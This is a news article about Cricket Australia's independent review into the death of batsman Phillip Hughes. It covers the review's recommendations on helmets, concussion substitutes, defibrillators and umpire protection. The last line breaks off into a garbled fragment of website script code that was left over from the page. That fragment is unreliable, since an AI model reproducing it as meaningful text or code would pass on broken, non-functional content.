Cricket Australia has released an independent review into the death of batsman Phillip Hughes.

The review was commissioned after the tragic death of the Australian batsman, who died after being struck on the neck by a cricket ball while batting for South Australia in a first-class match on November 25, 2014.

Hughes died in hospital two days later.

The report recommends a raft of changes to improve player safety, including the introduction of a concussion substitute to domestic cricket.

The enormous change to the rules of the game will by considered by the ICC at a meeting later this month.

The review, which was undertaken by President of the Australian Bar Association and former Chairman of the Victorian Bar Council David Curtain QC, also recommends that batsmen wear helmets that meet strict safety regulations at all times when facing medium or fast paced bowling, both in matches and training.

It also recommends that helmets become mandatory for all fielders positioned close to the batsman, apart from slip fielders.

Further recommendations contained in Mr Curtain's report include:

  • Players and coaching staff involved in training sessions within practice nets where fast bowlers are operating should also be required to wear protective helmets, including those operating bowling machines (although the recommendation does not apply to bowlers)
  • A defibrillator be available at all first-class matches in case medical staff need to deal with trauma-related cardiac incidents or coronary conditions, but there was no evidence to show risk of cardiac injury is significantly reduced by players wearing chest protection
  • Protective headwear for umpires should be considered if there is seen to be an increased risk of injury to on-field officials, although statistics show that risk to be minimal at present
  • Any helmet that is struck with force, even if it does not sustain visible damage, be immediately replaced and that players should carry at least one spare helmet as part of their cricket kit

The review also concluded that a lack of medical attention or the delay in the arrival of the ambulance did not contribute to Hughes' death. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}